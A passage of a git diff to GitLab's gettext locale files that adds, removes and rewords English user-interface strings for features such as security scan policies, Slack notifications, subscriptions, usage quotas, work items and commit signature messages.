+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -37084,9 +37743,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -37487,6 +38143,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37508,6 +38173,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37787,7 +38455,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37850,10 +38518,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37868,6 +38536,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37937,9 +38608,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -38159,9 +38827,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -38189,6 +38854,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -38219,9 +38887,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -38240,9 +38905,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -39025,6 +39687,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -39243,9 +39908,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -39372,9 +40034,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -39405,6 +40064,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -39432,10 +40097,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -39447,22 +40112,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
-msgstr ""
-
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39960,6 +40619,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -40155,15 +40820,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40653,18 +41318,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40881,6 +41564,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40899,7 +41585,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40920,9 +41606,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -41414,15 +42097,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -41453,6 +42127,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41731,9 +42420,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41993,6 +42679,9 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -42145,6 +42834,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -42349,6 +43041,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42697,6 +43392,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42799,21 +43497,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -43036,6 +43740,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -43111,9 +43818,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -43318,7 +44022,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -43766,6 +44470,14 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43982,7 +44694,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -44279,24 +44991,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -44404,15 +45104,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44584,6 +45281,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44626,6 +45326,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44806,6 +45509,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44845,6 +45551,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44914,6 +45623,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -45076,15 +45788,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -45115,15 +45821,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -45181,24 +45881,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -45226,9 +45914,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -45247,15 +45932,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -45412,6 +46091,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -45471,6 +46153,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45645,9 +46333,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45714,10 +46399,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45885,10 +46570,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -46080,6 +46762,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -46092,9 +46777,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -46164,6 +46846,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -46264,6 +46949,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -46299,6 +46987,9 @@ msgstr[4] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -46311,6 +47002,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -46335,9 +47029,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -47070,10 +47761,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -47527,9 +48218,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47619,6 +48322,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47628,7 +48334,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47661,7 +48367,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47715,6 +48421,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -47736,6 +48448,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47843,6 +48561,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47975,9 +48696,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -48068,6 +48786,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -48107,9 +48828,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -48125,7 +48843,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -48218,7 +48936,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -48250,6 +48968,9 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -48367,6 +49088,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -48520,8 +49244,13 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
msgid "YouTube"
msgstr ""
@@ -48762,6 +49491,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48789,7 +49521,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48869,6 +49601,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -49079,6 +49814,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -49327,10 +50065,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -49492,9 +50233,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -50003,9 +50741,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -50535,6 +51270,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50622,12 +51360,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -51064,6 +51796,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/bs_BA/gitlab.po b/locale/bs_BA/gitlab.po
index 7a6f0f840d4..4f7c9b6aa25 100644
--- a/locale/bs_BA/gitlab.po
+++ b/locale/bs_BA/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
